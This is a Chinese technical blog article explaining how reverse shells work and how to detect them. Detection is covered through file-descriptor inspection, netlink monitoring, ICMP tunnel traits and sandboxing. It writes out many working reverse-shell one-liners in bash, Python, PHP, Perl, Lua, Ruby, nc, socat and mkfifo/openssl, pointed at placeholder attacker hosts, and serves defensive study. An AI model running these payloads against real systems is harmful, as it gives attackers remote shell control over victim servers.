当前位置: 首页 > news >正文

【渗透测试】反弹 Shell 技术详解(二)

目录

  • 反弹 Shell 的基本原理
    • 前置知识:反弹 Shell 技术详解(一)
      • 一、反弹 shell 的本质
      • 二、网络通信的方式
      • 三、命令执行的方式
      • 四、反弹 shell 分类【组合方式讨论】
        • 1. 直接重定向 shell 解释器的输入输出到 socket 类型
        • 2. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转类型
        • 3. 编程语言实现标准输入中转,重定向命令执行的输入到中转
      • 五、具体检测方法
        • 1. 命令行检测
        • 2. 文件描述符 fd 检测
        • 3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测
        • 4. 网络层反弹shell通信特征检测
        • 5. 命令行为序列检测
        • 6. 异常 shell 启动检测
        • 7. 沙箱检测
        • 8. 流量特征
        • 9. 对抗行为检测
      • 参考资料

反弹 Shell 的基本原理

前置知识:反弹 Shell 技术详解(一)

一、反弹 shell 的本质

  • 原理:控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
  • 使用:网络通信+命令执行+重定向方式(非必须):命令执行和网络通信借助重定向,构建出一条流动的数据通道,攻击者利用这条通道下发指令控制受害服务器。
    • 网络通信 实现:网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
    • 命令执行 实现:命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
    • 重定向 实现:重定向可以通过管道、成对的伪终端、内存文件等实现。

二、网络通信的方式

  • 四层协议
    • /dev/[tcp|udp]: 文件描述符+重定向。
    • 通过建立socket tcp连接实现网络通信。
    • 通过ICMP协议实现网络通信。
  • 七层协议
    • 使用DNS实现网络通信。

三、命令执行的方式

  • 通过管道符传递命令:echo "hello" | cat
  • 间接系统调用,调用 glibc api 执行系统命令。
  • 直接系统调用,绕过 glibc 执行系统命令。

四、反弹 shell 分类【组合方式讨论】

  • 1、直接重定向Shell解释器的输入输出到Socket类型
  • 2、通过管道、伪终端等中转,再重定向Shell的输入输出到中转
  • 3、编程语言实现标准输入中转,重定向命令执行的输入到中转
1. 直接重定向 shell 解释器的输入输出到 socket 类型

在这里插入图片描述

特征:该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信。

检测思路:这类反弹Shell的检测可以通过检测Shell的标准输入、标准输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。

举例:【Rhost 远程主机,Rport 远程主机端口】

  1. bash -i >& /dev/tcp/Rhost/Rport 0>&1
  2. python -c 'import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("Rhost",Rport));
    os.dup2(s.fileno(),0); 
    os.dup2(s.fileno(),1); 
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/sh","-i"]);'
    
  3. php -r '$sock=fsockopen("Rhost",Rport);exec("/bin/sh -i <&3 >&3 2>&3");'
  4. perl -e 'use Socket;$i="Rhost";$p=Rport;  
    socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
    if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");};'
    
  5. lua -e "require('socket');require('os');
    t=socket.tcp();
    t:connect('Rhost','Rport');
    os.execute('/bin/sh -i <&3 >&3 2>&3');"
    

命令检查思路

  • 使用 ps 找到对应的进程,根据进程 pid 查看 fd【ps afx (f:树结构展示父子进程)】。
  • 使用 ls /proc/[pid]/fd 查看文件描述符 file descriptor。

举例

lrwx------. 1 root root 64 Feb 13 16:35 0 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 1 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 2 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 255 -> socket:[1202940]

lrwx------. 1 root root 64 Feb 13 18:58 0 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 1 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 2 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 255 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 5 -> socket:[29023953]

在这里插入图片描述

2. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转类型

通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体。

常见场景

a) 管道中转

nc Rhost Rport | /bin/sh | nc Rhost 5050
nc -e /bin/bash Rhost Rport
nc -c bash Rhost Rport
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:Rhost:Rport

mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc Rhost Rport > /tmp/f

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Rhost:Rport > /tmp/s; rm /tmp/s

mknod backpipe p; nc Rhost Rport 0<backpipe | /bin/bash 1>backpipe 2>backpipe

bash -c 'exec 5<>/dev/tcp/Rhost/Rport; cat <&5 | while read line; do $line >&5 2>&1; done'

telnet 10.10.10.10 Rport | /bin/bash | telnet Rhost 5050

在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道。
在这里插入图片描述
在这里插入图片描述

b) 匿名管道【不同反弹 shell 的姿势 fd 特征】

exec 5
lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010305]
l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010306]
l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010306]
lrwx------. 1 root root 64 Feb 13 18:55 5 -> socket:[29011974]

nc -e
lr-x------. 1 root root 64 Feb 13 19:02 0 -> pipe:[29037897]
l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29037898]
l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29037898]
lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29039553]
l-wx------. 1 root root 64 Feb 13 19:02 5 -> pipe:[29039554]
lr-x------. 1 root root 64 Feb 13 19:02 6 -> pipe:[29039555]

nc -c
lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052945]
l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052946]
l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052946]
lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054237]
l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054238]
lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054239]

ncat -e
lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052872]
l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052873]
l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052873]
lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054410]
l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054411]
lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054412]

socat-EXEC
lr-x------. 1 root root 64 Feb 13 19:19 0 -> pipe:[29102002]
l-wx------. 1 root root 64 Feb 13 19:19 1 -> pipe:[29102003]
l-wx------. 1 root root 64 Feb 13 19:19 2 -> pipe:[29102003]
lrwx------. 1 root root 64 Feb 13 19:19 3 -> socket:[29105502]
lrwx------. 1 root root 64 Feb 13 19:19 4 -> socket:[29105503]
lrwx------. 1 root root 64 Feb 13 19:19 5 -> socket:[29105504]
lrwx------. 1 root root 64 Feb 13 19:19 6 -> socket:[29105505]

rcat
lr-x------. 1 root root 64 Feb 13 14:38 0 -> pipe:[318590]
l-wx------. 1 root root 64 Feb 13 14:38 1 -> pipe:[318591]
l-wx------. 1 root root 64 Feb 13 14:38 2 -> pipe:[318591]
lrwx------. 1 root root 64 Feb 13 14:38 3 -> socket:[319517]

php
lr-x------. 1 root root 64 Feb 13 16:44 0 -> pipe:[1226187]
l-wx------. 1 root root 64 Feb 13 16:44 1 -> pipe:[1226188]
l-wx------. 1 root root 64 Feb 13 16:44 2 -> pipe:[1226188]
lrwx------. 1 root root 64 Feb 13 16:44 3 -> socket:[1226491]
lr-x------. 1 root root 64 Feb 13 16:44 4 -> pipe:[1226492]

lr-x------. 1 root root 64 Feb 13 16:56 0 -> pipe:[1244376]
l-wx------. 1 root root 64 Feb 13 16:56 1 -> pipe:[1244377]
l-wx------. 1 root root 64 Feb 13 16:56 2 -> pipe:[1244377]
lrwx------. 1 root root 64 Feb 13 16:56 3 -> socket:[1244535]

bash196
lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010277]
l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010278]
lrwx------. 1 root root 64 Feb 13 18:55 196 -> socket:[29011043]
l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010278]

perl
lrwx------. 1 root root 64 Feb 13 16:36 0 -> socket:[1206445]
lrwx------. 1 root root 64 Feb 13 16:36 1 -> socket:[1206445]
l-wx------. 1 root root 64 Feb 13 16:36 2 -> pipe:[1205125]
lrwx------. 1 root root 64 Feb 13 16:36 3 -> socket:[1206445]

awk
lr-x------. 1 root root 64 Feb 13 18:38 0 -> pipe:[1543339]
l-wx------. 1 root root 64 Feb 13 18:38 1 -> pipe:[1543340]
l-wx------. 1 root root 64 Feb 13 18:38 2 -> pipe:[1543340]
lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2821241]
lrwx------. 1 root root 64 Feb 13 18:41 4 -> socket:[2821241]

c) 自建管道【fd(句柄)特征】

nc-/tmp/f
lr-x------. 1 root root 64 Feb 13 18:58 0 -> pipe:[29024021]
l-wx------. 1 root root 64 Feb 13 18:58 1 -> /tmp/f (deleted)
l-wx------. 1 root root 64 Feb 13 18:58 2 -> pipe:[29021988]
lrwx------. 1 root root 64 Feb 13 18:58 3 -> socket:[29024022]

nc-backpipe
lr-x------. 1 root root 64 Feb 13 19:02 0 -> /root/backpipe
l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29040260]
l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29038076]
lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29040261]

telnet-$TF
lr-x------. 1 root root 64 Feb 13 14:47 0 -> /tmp/tmp.5wnXq0URfF
l-wx------. 1 root root 64 Feb 13 14:47 1 -> pipe:[326375]
l-wx------. 1 root root 64 Feb 13 14:47 2 -> pipe:[326286]
lrwx------. 1 root root 64 Feb 13 14:47 3 -> socket:[327426]


telnet-a
lr-x------. 1 root root 64 Feb 13 14:46 0 -> /root/a
l-wx------. 1 root root 64 Feb 13 14:46 1 -> pipe:[325139]
l-wx------. 1 root root 64 Feb 13 14:46 2 -> pipe:[324180]
lrwx------. 1 root root 64 Feb 13 14:46 3 -> socket:[325140]

d)伪终端中转

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Rhost",Rport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

【pty.spawn 是 python 用于在伪终端中重新起一个进程】

通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析;

检测思路

经过层层中转,最终会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道,判断是否为bash进程,获取bash父进程的/proc/[pid]/fd,判断是否有存在fd重定向到pipe或者socket情况

命令检测思路:

  • 1、ps 找到对应的进程,根据进程 pid 查看 fd【ps afx (f:树结构展示父子进程)】
  • 2、ls /proc/[pid]/fd (文件描述符 file descriptor)【句柄特征如上】
3. 编程语言实现标准输入中转,重定向命令执行的输入到中转

第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('Rhost',Rport))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

lua5.1 -e 'local host, port = "Rhost", Rport local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("Rhost","Rport");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

这类反弹 shell 的 fd 特征

ruby
lr-x------. 1 root root 64 Feb 13 18:37 0 -> pipe:[1319065]
l-wx------. 1 root root 64 Feb 13 18:37 1 -> pipe:[1319066]
l-wx------. 1 root root 64 Feb 13 18:37 2 -> pipe:[1319066]
lr-x------. 1 root root 64 Feb 13 18:37 3 -> pipe:[1319358]
l-wx------. 1 root root 64 Feb 13 18:37 4 -> pipe:[1319358]
lr-x------. 1 root root 64 Feb 13 18:37 5 -> pipe:[1319359]
l-wx------. 1 root root 64 Feb 13 18:37 6 -> pipe:[1319359]
lrwx------. 1 root root 64 Feb 13 18:37 7 -> socket:[1319360]

Lua
lr-x------. 1 root root 64 Feb 13 18:41 0 -> pipe:[2720451]
l-wx------. 1 root root 64 Feb 13 18:41 1 -> pipe:[2720452]
l-wx------. 1 root root 64 Feb 13 18:41 2 -> pipe:[2720452]
lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2972610]

这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升

检测思路:
这类常见可结合进程命令行特征+异常命令行为序列+异常shell启动模型

  • 异常命令行为序列:通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell
  • 异常shell启动模型:结合多维度特征以及机器历史行为综合判定产出告警

五、具体检测方法

1. 命令行检测
  • 检测一些常见的命令,通过命令关键字判断是否存在可疑行为。
2. 文件描述符 fd 检测
  • 检测fd 是否指向一个 socket 句柄:追踪进程的文件描述符,检查其是否连接到socket。
    在这里插入图片描述
  • 检测 fd 是否指向一个管道符 pipe
    在这里插入图片描述

不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否来自一个socket。

  • netlink监控+fd异常检测
    • 监听Netlink Socket,实时获取进程EXEC事件。
    • 如果为Shell进程,检查进程启动打开的FD,
      • 打开了Socket
      • 未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端
      • 则确认为反弹Shell
3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测
  • 针对“通过系统bash程序实现的反弹shell”的fd监控方案,操作系统分层,Bash只是一个应用程序,除了bash之外,还可以基于任意的应用层技术来实现反弹shell:
    • python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
    • python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
    • C/C++实现纯代码形式的反弹shell:二进制文件检测
4. 网络层反弹shell通信特征检测
  • 在网络层面,可以通过NTA实时检测包含”cmdline shell特征“的数据包,例如”#root…“等。
  • DNS 反弹 shell 特征检测:针对DNS流量进行分析,判断关联进程是否开启/dev/net/tun,或者/dev/net/tap隧道等。
  • ICMP 反弹 shell 特征检测
    根据正常ping产生的数据包特点,
    在这里插入图片描述
    在这里插入图片描述
  • 每秒发送的数据包个数比较少,通常每秒最多只会发送两个数据包;
  • 请求数据包与对应的响应数据包内容一样;
  • 数据包中payload的大小固定,windows下为32bytes,linux下为48bytes;
  • 数据包中payload的内容固定,如果指定ping发送的长度,则为不断重复的固定字符串
    □ windows下为:abcdefghijklmnopqrstuvwabcdefghi,
    □ linux下为:!"#$%&'()+,-./01234567,;
  • type类型只有2种,0和8。0为请求数据,8为响应数据。

对于ICMP隧道产生的数据,有以下特点:
使用 icmpsh 工具进行反弹 shell 截图
在这里插入图片描述

  • 每秒发送的数据包个数比较多,在同一时间会产生成百上千个 ICMP 数据包;
  • 请求数据包与对应的响应数据包内容不一样;
  • 数据包中payload的大小可以是任意大小;
  • 存在一些type为13,15,17的带payload的畸形数据包;
  • 个别ICMP隧道工具产生的数据包内容前面会增加 ‘TUNL’ 标记以用于识别隧道。

因此,根据正常ping和ICMP隧道产生的数据包的特点,可以通过以下几点特征检测ICMP隧道:

检测同一来源数据包的数量。正常ping每秒只会发送2个数据包,而ICMP隧道可以每秒发送很多个;

  • 检测数据包中 payload 的大小。正常ping产生的数据包payload的大小为固定,而ICMP隧道数据包大小可以任意;
  • 检测响应数据包中 payload跟请求数据包是否不一致。正常ping产生的数据包请求响应内容一致,而ICMP隧道请求响应数据包可以一致,也可以不一致;
  • 检测数据包中payload 的内容。正常ping产生的payload为固定字符串,ICMP隧道的payload可以为任意;
  • 检测 ICMP数据包的type是否为0和8。正常ping产生的带payload的数据包,type只有0和8,ICMP隧道的type可以为13,15,17。

一套编程的检测编逻辑实现参考
在这里插入图片描述

5. 命令行为序列检测
  • 检测反弹 shell 后渗透利用行为。
6. 异常 shell 启动检测
  • 通过感知 shell 启动事件,辅助提升检查效果。
7. 沙箱检测
  • 脚本沙箱
    • 落盘脚本文件: 检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。
    • 混淆类样本: 动态解混淆后进行检测。
    • JAR打包类文件: 进行静态反编译并结合动态运行进行多维度判定。
    • 无文件攻击: 命令序列分析。
  • 二进制沙箱
    • 对于C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊识别和处理,结合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。
8. 流量特征
  • 使用常见Shell通信特征辅助提升反弹Shell检测效果。
9. 对抗行为检测
  • 针对常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果。

参考资料

  • PayloadsAllTheThings
  • Detect a Reverse Shell
  • 先知社区文档
  • 阿里云检测文档
  • seesaw工具
  • 在线反弹 shell 工具
  • shellerator工具
  • explainshell在线工具

by 久违
20250313

相关文章:

  • Easyocr图片识别小结
  • Flutter_学习记录_ ImagePicker拍照、录制视频、相册选择照片和视频、上传文件
  • 无监督学习——降维问题:主成分分析(PCA)详解
  • 【原创】在宝塔面板中为反向代理添加Beare认证
  • 【Linux 指北】常用 Linux 指令汇总
  • C语言中的字符串处理
  • Python :数据模型
  • Windows 图形显示驱动开发-WDDM 3.0功能- IOMMU DMA 重新映射(一)
  • NLP常见任务专题介绍(4)-ConditionalGeneration和CasualLM区别
  • 移远通信联合德壹发布全球首款搭载端侧大模型的AI具身理疗机器人
  • Kubernetes学习笔记-移除Nacos迁移至K8s
  • 一键阐述“多线程、多进程、多任务”的场景需求
  • 【Unity】在项目中使用VisualScripting
  • E-foto:开源的摄影测量与遥感图像处理工具
  • 免费blender模型网站推荐
  • CTF杂项——[SWPUCTF 2024 秋季新生赛]ez-QR
  • IP层之分片包的整合处理---BUG修复
  • Calibre-Web-Automated:打造你的私人图书馆
  • PHP火山引擎API签名方法
  • websocket学习手册及python实现简单的聊天室
  • 公司注册网站的费用多少/汽车宣传软文
  • 怎么 从头开始建设一个网站/收录之家
  • 开发多语言网站/成都seo优化
  • 珠海华中建设工程有限公司网站/做百度推广
  • wordpress自定义链接怎么配置/seo优化关键词排名
  • 福州做网站的公司多少钱/互联网舆情监测系统